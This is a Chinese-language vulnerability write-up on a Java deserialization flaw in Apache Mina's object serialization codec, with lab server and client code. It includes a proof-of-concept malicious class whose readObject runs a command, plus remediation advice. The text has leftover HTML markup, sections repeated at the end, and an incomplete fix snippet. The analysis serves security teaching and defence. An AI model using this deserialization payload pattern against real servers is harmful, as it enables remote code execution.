Apache Mina 反序列化漏洞分析与利用<\/h1>

漏洞概述<\/h2>
Apache Mina 是一个基于 Java 的高性能网络应用框架，其 2.0.26 及之前版本中存在反序列化漏洞，攻击者可通过构造恶意序列化对象实现远程代码执行（RCE）。<\/p>

Apache Mina 框架简介<\/h2>

Apache Mina 是一款简化复杂网络通信开发的 Java 框架，主要特点包括：<\/p>

抽象底层通信细节<\/strong>：封装 Java NIO 的底层 I\/O 操作，开发者无需直接处理多线程并发或数据读写阻塞<\/li>

分层架构设计<\/strong>：

I\/O 服务层（IoService）：负责建立连接和管理会话<\/li>
过滤器链（FilterChain）：处理协议编解码、日志记录等<\/li>
业务处理器（IoHandler）：实现事件驱动的业务逻辑<\/li> <\/ul> <\/li>
支持多种通信协议<\/strong>：TCP\/IP、UDP\/IP、串口通信、虚拟机管道等<\/li>
高性能与可扩展性<\/strong>：异步非阻塞模型、线程池优化、缓冲池技术<\/li>
事件驱动与状态管理<\/strong>：通过事件回调机制管理连接生命周期<\/li> <\/ol>
漏洞环境搭建<\/h2>
1. 创建 Message 类<\/h3>
package<\/span> org.juju;<\/span> <\/span><\/span> <\/span><\/span>import<\/span> java.io.Serializable;<\/span> <\/span><\/span> <\/span><\/span>public<\/span> class<\/span> Message<\/span> implements<\/span> Serializable {<\/span> <\/span><\/span> private<\/span> static<\/span> final<\/span> long<\/span> serialVersionUID =<\/span> 1L<\/span>;<\/span> <\/span><\/span> private<\/span> Object content;<\/span> <\/span><\/span> <\/span><\/span> public<\/span> Message<\/span>(<\/span>Object content)<\/span> {<\/span> <\/span><\/span> this<\/span>.<\/span>content<\/span> =<\/span> content;<\/span> <\/span><\/span> }<\/span> <\/span><\/span> <\/span><\/span> public<\/span> Object getContent<\/span>()<\/span> {<\/span> <\/span><\/span> return<\/span> content;<\/span> <\/span><\/span> }<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>2. 创建 MinaServer 类<\/h3> package<\/span> org.juju;<\/span> <\/span><\/span> <\/span><\/span>import<\/span> org.apache.mina.core.service.IoHandlerAdapter;<\/span> <\/span><\/span>import<\/span> org.apache.mina.core.session.IoSession;<\/span> <\/span><\/span>import<\/span> org.apache.mina.filter.codec.ProtocolCodecFilter;<\/span> <\/span><\/span>import<\/span> org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory;<\/span> <\/span><\/span>import<\/span> org.apache.mina.transport.socket.nio.NioSocketAcceptor;<\/span> <\/span><\/span>import<\/span> java.net.InetSocketAddress;<\/span> <\/span><\/span> <\/span><\/span>public<\/span> class<\/span> MinaServer<\/span> {<\/span> <\/span><\/span> public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> NioSocketAcceptor acceptor =<\/span> new<\/span> NioSocketAcceptor();<\/span> <\/span><\/span> acceptor.<\/span>getFilterChain<\/span>().<\/span>addLast<\/span>(<\/span>"codec"<\/span>,<\/span> <\/span><\/span> new<\/span> ProtocolCodecFilter(<\/span>new<\/span> ObjectSerializationCodecFactory()));<\/span> <\/span><\/span> acceptor.<\/span>setHandler<\/span>(<\/span>new<\/span> ServerHandler());<\/span> <\/span><\/span> acceptor.<\/span>bind<\/span>(<\/span>new<\/span> InetSocketAddress(<\/span>9123<\/span>));<\/span> <\/span><\/span> System.<\/span>out<\/span>.<\/span>println<\/span>(<\/span>"Server started on port 9123..."<\/span>);<\/span> <\/span><\/span> }<\/span> <\/span><\/span> <\/span><\/span> private<\/span> static<\/span> class<\/span> ServerHandler<\/span> extends<\/span> IoHandlerAdapter {<\/span> <\/span><\/span> @Override<\/span> <\/span><\/span> public<\/span> void<\/span> messageReceived<\/span>(<\/span>IoSession session,<\/span> Object message)<\/span> {<\/span> <\/span><\/span> if<\/span> (<\/span>message instanceof<\/span> Message)<\/span> {<\/span> <\/span><\/span> Message msg =<\/span> (<\/span>Message)<\/span> message;<\/span> <\/span><\/span> System.<\/span>out<\/span>.<\/span>println<\/span>(<\/span>"Received: "<\/span> +<\/span> msg.<\/span>getContent<\/span>());<\/span> <\/span><\/span> }<\/span> <\/span><\/span> }<\/span> <\/span><\/span> <\/span><\/span> @Override<\/span> <\/span><\/span> public<\/span> void<\/span> exceptionCaught<\/span>(<\/span>IoSession session,<\/span> Throwable cause)<\/span> {<\/span> <\/span><\/span> cause.<\/span>printStackTrace<\/span>();<\/span> <\/span><\/span> session.<\/span>closeNow<\/span>();<\/span> <\/span><\/span> }<\/span> <\/span><\/span> }<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>3. 创建 MinaClient 类<\/h3> package<\/span> org.juju;<\/span> <\/span><\/span> <\/span><\/span>import<\/span> org.apache.mina.core.future.ConnectFuture;<\/span> <\/span><\/span>import<\/span> org.apache.mina.core.service.IoHandlerAdapter;<\/span> <\/span><\/span>import<\/span> org.apache.mina.core.session.IoSession;<\/span> <\/span><\/span>import<\/span> org.apache.mina.filter.codec.ProtocolCodecFilter;<\/span> <\/span><\/span>import<\/span> org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory;<\/span> <\/span><\/span>import<\/span> org.apache.mina.transport.socket.nio.NioSocketConnector;<\/span> <\/span><\/span>import<\/span> java.net.InetSocketAddress;<\/span> <\/span><\/span> <\/span><\/span>public<\/span> class<\/span> MinaClient<\/span> {<\/span> <\/span><\/span> public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> {<\/span> <\/span><\/span> NioSocketConnector connector =<\/span> new<\/span> NioSocketConnector();<\/span> <\/span><\/span> connector.<\/span>getFilterChain<\/span>().<\/span>addLast<\/span>(<\/span>"codec"<\/span>,<\/span> <\/span><\/span> new<\/span> ProtocolCodecFilter(<\/span>new<\/span> ObjectSerializationCodecFactory()));<\/span> <\/span><\/span> connector.<\/span>setHandler<\/span>(<\/span>new<\/span> ClientHandler());<\/span> <\/span><\/span> <\/span><\/span> ConnectFuture future =<\/span> connector.<\/span>connect<\/span>(<\/span>new<\/span> InetSocketAddress(<\/span>"localhost"<\/span>,<\/span> 9123<\/span>));<\/span> <\/span><\/span> future.<\/span>awaitUninterruptibly<\/span>();<\/span> <\/span><\/span> IoSession session =<\/span> future.<\/span>getSession<\/span>();<\/span> <\/span><\/span> session.<\/span>write<\/span>(<\/span>new<\/span> Message(<\/span>"Hello, MINA!"<\/span>));<\/span> <\/span><\/span> session.<\/span>getCloseFuture<\/span>().<\/span>awaitUninterruptibly<\/span>();<\/span> <\/span><\/span> connector.<\/span>dispose<\/span>();<\/span> <\/span><\/span> }<\/span> <\/span><\/span> <\/span><\/span> private<\/span> static<\/span> class<\/span> ClientHandler<\/span> extends<\/span> IoHandlerAdapter {<\/span> <\/span><\/span> @Override<\/span> <\/span><\/span> public<\/span> void<\/span> exceptionCaught<\/span>(<\/span>IoSession session,<\/span> Throwable cause)<\/span> {<\/span> <\/span><\/span> cause.<\/span>printStackTrace<\/span>();<\/span> <\/span><\/span> session.<\/span>closeNow<\/span>();<\/span> <\/span><\/span> }<\/span> <\/span><\/span> }<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>漏洞分析<\/h2> 漏洞位置<\/h3> 漏洞存在于 ObjectSerializationCodecFactory<\/code> 类中，这是 Mina 专门用于处理 Java 对象序列化和反序列化的编解码器。<\/p> 漏洞触发流程<\/h3> 客户端发送恶意序列化对象<\/li> 服务端 ProtocolCodecFilter<\/code> 接收到数据<\/li> 调用 ObjectSerializationDecoder.decode()<\/code> 方法<\/li> 最终在 AbstractIoBuffer.getObject()<\/code> 方法中完成反序列化<\/li> 恶意对象被反序列化并执行恶意代码<\/li> <\/ol> 关键代码分析<\/h3> \/\/ 漏洞触发点 - 使用不安全的反序列化 <\/span><\/span><\/span><\/span>acceptor.<\/span>getFilterChain<\/span>().<\/span>addLast<\/span>(<\/span>"codec"<\/span>,<\/span> <\/span><\/span> new<\/span> ProtocolCodecFilter(<\/span>new<\/span> ObjectSerializationCodecFactory()));<\/span> <\/span><\/span><\/code><\/pre>漏洞利用<\/h2> 1. 创建恶意类<\/h3> package<\/span> org.juju;<\/span> <\/span><\/span> <\/span><\/span>import<\/span> java.io.Serializable;<\/span> <\/span><\/span>import<\/span> java.io.IOException;<\/span> <\/span><\/span> <\/span><\/span>public<\/span> class<\/span> Evil<\/span> implements<\/span> Serializable {<\/span> <\/span><\/span> private<\/span> static<\/span> final<\/span> long<\/span> serialVersionUID =<\/span> 1L<\/span>;<\/span> <\/span><\/span> <\/span><\/span> private<\/span> void<\/span> readObject<\/span>(<\/span>java.<\/span>io<\/span>.<\/span>ObjectInputStream<\/span> in)<\/span> <\/span><\/span> throws<\/span> IOException,<\/span> ClassNotFoundException {<\/span> <\/span><\/span> in.<\/span>defaultReadObject<\/span>();<\/span> <\/span><\/span> \/\/ 执行恶意代码 <\/span><\/span><\/span><\/span> Runtime.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>"calc.exe"<\/span>);<\/span> <\/span><\/span> }<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>2. 修改客户端发送恶意对象<\/h3> \/\/ 替换原来的Message对象为Evil对象 <\/span><\/span><\/span><\/span>session.<\/span>write<\/span>(<\/span>new<\/span> Evil());<\/span> <\/span><\/span><\/code><\/pre>3. 漏洞验证<\/h3> 启动服务端<\/li> 运行修改后的客户端<\/li> 观察服务端是否执行了恶意代码（如弹出计算器）<\/li> <\/ol> 漏洞修复<\/h2> 官方在 2.0.27 版本中修复了此漏洞，修复方式为：<\/p> 实现白名单校验机制<\/li> 在 ObjectSerializationDecoder<\/code> 中设置允许的类<\/li> 默认拒绝所有未明确允许的类<\/li> <\/ol> 修复代码参考：<\/p> \/\/ 2.0.27+ 版本中需要显式设置允许的类 <\/span><\/span><\/span><\/span>ObjectSerializationCodecFactory factory =<\/span> new<\/span> ObjectSerializationCodecFactory();<\/span> <\/span><\/span>factory.<\/span>setDecoderMaxObjectSize<\/span>(...);<\/span> <\/span><\/span>\/\/ 设置允许的类白名单 <\/span><\/span><\/span><\/code><\/pre>防御建议<\/h2> 升级到 Apache Mina 2.0.27 或更高版本<\/li> 如果必须使用旧版本，应实现自定义的 ProtocolCodecFilter<\/code> 并严格限制可反序列化的类<\/li> 使用 Java 的安全管理器限制反序列化操作的权限<\/li> 考虑使用替代的序列化方案，如 JSON 或 Protocol Buffers<\/li> <\/ol> 总结<\/h2> Apache Mina 反序列化漏洞是一个典型的 Java 反序列化安全问题，攻击者可以通过构造恶意序列化对象实现远程代码执行。开发者应充分了解反序列化的安全风险，及时更新依赖库，并实施严格的安全控制措施。<\/p>

Apache Mina 反序列化漏洞分析与利用<\/h1>

漏洞概述<\/h2> Apache Mina 是一个基于 Java 的高性能网络应用框架，其 2.0.26 及之前版本中存在反序列化漏洞，攻击者可通过构造恶意序列化对象实现远程代码执行（RCE）。<\/p>

漏洞环境搭建<\/h2>

漏洞分析<\/h2>

漏洞位置<\/h3> 漏洞存在于 ObjectSerializationCodecFactory<\/code> 类中，这是 Mina 专门用于处理 Java 对象序列化和反序列化的编解码器。<\/p>

漏洞利用<\/h2>

总结<\/h2> Apache Mina 反序列化漏洞是一个典型的 Java 反序列化安全问题，攻击者可以通过构造恶意序列化对象实现远程代码执行。开发者应充分了解反序列化的安全风险，及时更新依赖库，并实施严格的安全控制措施。<\/p>

漏洞概述<\/h2>
Apache Mina 是一个基于 Java 的高性能网络应用框架，其 2.0.26 及之前版本中存在反序列化漏洞，攻击者可通过构造恶意序列化对象实现远程代码执行（RCE）。<\/p>

漏洞位置<\/h3>
漏洞存在于 `ObjectSerializationCodecFactory<\/code> 类中，这是 Mina 专门用于处理 Java 对象序列化和反序列化的编解码器。<\/p>`

总结<\/h2>
Apache Mina 反序列化漏洞是一个典型的 Java 反序列化安全问题，攻击者可以通过构造恶意序列化对象实现远程代码执行。开发者应充分了解反序列化的安全风险，及时更新依赖库，并实施严格的安全控制措施。<\/p>